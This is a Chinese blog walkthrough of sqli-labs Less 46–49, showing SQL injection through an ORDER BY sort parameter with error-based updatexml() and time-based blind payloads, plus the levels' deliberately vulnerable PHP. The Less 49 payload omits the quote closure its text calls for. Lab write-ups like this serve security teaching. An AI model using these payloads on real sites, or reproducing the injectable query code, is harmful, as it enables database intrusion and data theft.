• sqli-labs 通关指南:Less 46 ~ 49


    Less 46 ~ 49 的网页功能是返回一个列表,因此我们不能借助回显位置进行注入。此时可以根据是否返回报错信息,选择使用报错注入还是时间盲注。

    Less 46

    判断注入类型

    打开网页,这是个新的网页,尝试输入新的参数 sort,网页回显用户名列表。

    ?sort=1
    


    改变参数 sort 的值,发现返回的列表是根据该表的第 sort 列排序进行回显。

    ?sort=2
    


    对 sort 参数使用单引号闭合,网页返回错误信息。

    ?sort=1'
    


    将后面的内容注释掉,网页返回错误的信息。进行下面的所有测试,得出此处存在数值型注入。

    ?sort=1'--+
    ?sort=1')--+
    ?sort=1'))--+
    ?sort=1"--+
    ?sort=1")--+
    ?sort=1"))--+
    

    获取数据库信息

    由于此处数据返回的形式是表格,因此我们不能直接利用数据回显的位置。此处可以使用 updatexml() 函数进行报错注入,把敏感信息输出在错误信息中,payload 可以参考 Less 17。爆数据库名。

    ?sort=1 AND updatexml(1,concat("!",database()),2)#
    


    爆表名。

    ?sort=1 AND updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#
    


    爆字段名。

    ?sort=1 AND updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'emails')),2)#
    

    获取目标信息

    这次我们获取 emails 表中的信息。

    ?sort=1 AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 0,1)),1)#
    


    改变 LIMIT 子句后的参数,取出其他数据。

    ?sort=1 AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 1,1)),1)#
    

    SQL 查询语句

    $id = $_GET['sort'];
    $sql = "SELECT * FROM users ORDER BY $id";
    $result = mysql_query($sql);
    if ($result)
    {
          ?>
          <center>
          <font color= "#00FF00" size="4">
    		
          <table   border=1'>
          <tr>
                      <th>&nbsp;ID&nbsp;</th>
    		  <th>&nbsp;USERNAME&nbsp;  </th>
    		  <th>&nbsp;PASSWORD&nbsp;  </th>
          </tr>
          </font>
          </font>
          <?php
          while ($row = mysql_fetch_assoc($result))
          {
                echo '<font color= "#00FF11" size="3">';		
                echo "<tr>";
                echo "<td>".$row['id']."</td>";
        	    echo "<td>".$row['username']."</td>";
        	    echo "<td>".$row['password']."</td>";
                echo "</tr>";
                echo "</font>";
          }	
          echo "</table>";		
    }
    else
    {
          echo '<font color= "#FFFF00">';
          print_r(mysql_error());
          echo "</font>";  
    }
    

    Less 47

    判断注入类型

    输入正常参数,网页回显用户名列表。对 sort 参数使用单引号闭合,网页返回错误信息。

    ?sort=1'
    


    将后面的内容注释掉,网页返回正常的信息,得出此处存在单引号闭合的字符型注入。

    ?sort=1'--+
    

    获取目标信息

    和 Less 46 差不多,使用单引号闭合即可,获取 emails 表中的信息。

    ?sort=1' AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 0,1)),1)--+
    


    改变 LIMIT 子句后的参数,取出其他数据。

    ?sort=1' AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 1,1)),1)--+
    

    SQL 查询语句

    $sql = "SELECT * FROM users ORDER BY '$id'";
    

    Less 48

    判断注入类型

    输入正常参数,网页回显用户名列表。对 sort 参数使用单引号闭合,网页无回显。

    ?sort=1'
    


    将后面的内容注释掉,网页无回显。进行下面的所有测试,得出此处存在数值型的盲注。

    ?sort=1'--+
    ?sort=1')--+
    ?sort=1'))--+
    ?sort=1"--+
    ?sort=1")--+
    ?sort=1"))--+
    

    获取数据库信息

    由于此处错误信息不回显,因此我们不能使用 updatexml() 报错注入。此时可以使用时间盲注,在 Less 46 和 Less 47 也可以使用时间盲注,payload 可以参考 Less 9。使用二分法测试数据库名长度为 8。

    ?sort=1 AND IF(LENGTH(database())=8,sleep(1),1)--+
    


    使用穷举法进行测试,得出数据库名的第一个字符为 “s”。

    ?sort=1 AND IF(LEFT((SELECT database()), 1)='s',sleep(1),1)--+
    


    接下来得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。

    ?sort=1 AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+
    

    SQL 查询语句

    $id = $_GET['sort'];
    $sql = "SELECT * FROM users ORDER BY $id";
    $result = mysql_query($sql);
    if ($result)
    {
          ?>
          <center>
          <font color= "#00FF00" size="4">
    		
          <table   border=1'>
          <tr>
                <th>&nbsp;ID&nbsp;</th>
    	    <th>&nbsp;USERNAME&nbsp;  </th>
    	    <th>&nbsp;PASSWORD&nbsp;  </th>
          </tr>
          </font>
          </font>
          <?php
          while ($row = mysql_fetch_assoc($result))
          {
                echo '<font color= "#00FF11" size="3">';		
    	    echo "<tr>";
        	    echo "<td>".$row['id']."</td>";
        	    echo "<td>".$row['username']."</td>";
        	    echo "<td>".$row['password']."</td>";
    	    echo "</tr>";
    	    echo "</font>";
          }	
          echo "</table>";
    }
    

    Less 49

    判断注入类型

    输入正常参数,网页回显用户名列表。对 sort 参数使用单引号闭合,网页无回显。

    ?sort=1'
    


    将后面的内容注释掉,网页用户名列表,得出此处存在单引号闭合的字符型的盲注。

    ?sort=1'--+
    

    获取数据库信息

    使用时间盲注,流程和 Less 48 差不多,使用单引号闭合。得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。

    ?sort=1 AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+
    

    SQL 查询语句

    $sql = "SELECT * FROM users ORDER BY '$id'";
    
  • 相关阅读:
    python yaml文件数据按原有的数据顺序dump
    HTMLTestRunner
    os.path获取当前路径及父路径
    update 字符串拼接
    VSCode 快速生成.vue基本模板、发送http请求模板
    Vue取消eslint语法限制
    node-sass安装失败解决方法
    docker 创建mysql和redis
    阿里云镜像加速器地址
    .net core + xunit 集成测试
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13992102.html
Copyright © 2020-2023  润新知